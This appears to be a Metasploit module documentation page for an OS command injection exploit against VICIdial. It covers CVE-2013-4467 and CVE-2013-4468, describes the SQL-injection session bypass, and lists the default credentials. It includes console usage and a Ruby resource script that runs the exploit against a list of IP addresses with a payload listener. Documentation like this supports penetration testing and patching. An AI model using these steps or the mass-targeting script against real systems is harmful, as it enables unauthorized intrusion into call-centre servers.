Module Overview


Name: VICIdial Manager Send OS Command Injection
Module: exploit/unix/webapp/vicidial_manager_send_cmd_exec
Source code: modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
Disclosure date: 2013-10-23
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-4467, CVE-2013-4468

The file agc/manager_send.php in the VICIdial web application uses unsanitized user input as part of a command that is executed using the PHP passthru() function. A valid username, password and session are needed to access the injection point. Fortunately, VICIdial has two built-in accounts with default passwords and the manager_send.php file has a SQL injection vulnerability that can be used to bypass the session check as long as at least one session has been created at some point in time. In case there isn't any valid session, the user can provide astGUIcient credentials in order to create one. The results of the injected commands are returned as part of the response from the web server. Affected versions include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as well. The default credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using vicidial_manager_send_cmd_exec against a single host

Normally, you can use exploit/unix/webapp/vicidial_manager_send_cmd_exec this way:

msf > use exploit/unix/webapp/vicidial_manager_send_cmd_exec
msf exploit(vicidial_manager_send_cmd_exec) > show targets
    ... a list of targets ...
msf exploit(vicidial_manager_send_cmd_exec) > set TARGET target-id
msf exploit(vicidial_manager_send_cmd_exec) > show options
    ... show and set options ...
msf exploit(vicidial_manager_send_cmd_exec) > exploit

Using vicidial_manager_send_cmd_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your vicidial_manager_send_cmd_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/webapp/vicidial_manager_send_cmd_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
